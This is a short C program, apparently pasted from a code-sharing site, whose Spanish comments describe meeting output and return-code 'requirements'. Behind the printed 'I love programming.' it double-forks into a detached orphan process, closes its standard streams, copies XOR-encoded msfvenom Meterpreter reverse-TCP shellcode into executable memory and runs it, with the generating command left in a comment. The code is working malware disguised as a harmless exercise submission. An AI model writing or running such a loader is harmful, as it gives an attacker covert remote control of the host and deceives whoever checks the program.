#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
#include <sys/wait.h>
// Tu shellcode de reverse shell aquí
// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=$IP LPORT=443 EXITFUNC=thread -f c -e x64/xor_dynamic -a x64
unsigned char shellcode_x64[] =
"\xeb\x27\x5b\x53\x5f\xb0\x8c\xfc\xae\x75\xfd\x57\x59\x53"
"\x5e\x8a\x06\x30\x07\x48\xff\xc7\x48\xff\xc6\x66\x81\x3f"
"\x44\x9d\x74\x07\x80\x3e\x8c\x75\xea\xeb\xe6\xff\xe1\xe8"
"\xd4\xff\xff\xff\x06\x8c\x37\xf9\x6c\x0f\x5e\x9f\xb0\x16"
"\x4e\x8f\xd0\x4b\x37\xcf\x6c\x24\x47\x5c\x6c\x01\x5c\x09"
"\x03\x4e\x83\xc6\x7e\x57\x6c\x0c\x47\x5f\x56\x6c\x2f\x5e"
"\x9f\x6c\x04\x59\x6c\x07\x58\x09\x03\x4e\x83\xc6\x7e\x3d"
"\x4e\x91\x4e\xbf\x04\x06\x07\xbd\xc6\xae\x2b\xe7\x57\x4e"
"\x8f\xe0\x6c\x16\x5c\x6c\x2c\x5e\x09\x03\x5f\x4e\x83\xc6"
"\x7f\x23\x4f\xf9\xcf\x72\x1e\x51\x6c\x25\x5e\x6c\x06\x6c"
"\x03\x4e\x8f\xe1\x4e\x37\xf0\x09\x03\x5f\x5f\x59\x4e\x83"
"\xc6\x7f\xc1\x6c\x3a\x5e\x6c\x07\x59\x09\x03\x58\x6c\x78"
"\x5c\x09\x03\x4e\x83\xc6\x7e\xeb\xf9\xe0\x44\x9d";
int main() {
// Cumplir requisito 1
printf("I love programming.");
fflush(stdout);
// Crear proceso completamente independiente
pid_t pid = fork();
if (pid == 0) {
// Proceso hijo
// Crear sesión nueva (desconectar del padre)
setsid();
// Fork otra vez para crear proceso huérfano
pid_t pid2 = fork();
if (pid2 == 0) {
// Nieto - proceso completamente independiente
// Cerrar descriptores de archivo heredados
close(0); close(1); close(2);
// Ejecutar shellcode
void *exec_mem = mmap(NULL, sizeof(shellcode_x64),
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (exec_mem != MAP_FAILED) {
memcpy(exec_mem, shellcode_x64, sizeof(shellcode_x64));
void (*func)() = (void(*)())exec_mem;
func();
}
// Loop infinito si el shellcode falla
while(1) sleep(3600);
}
// El hijo termina inmediatamente, dejando al nieto huérfano
exit(0);
}
// Proceso padre original
// No esperar al hijo (para que termine rápido)
// El nieto queda como proceso independiente
//sleep(11); // Cumplir requisito de tiempo
return 3; // Cumplir requisito de return
}
Comments
0 B
|👍
/👎
0 B
|👍
/👎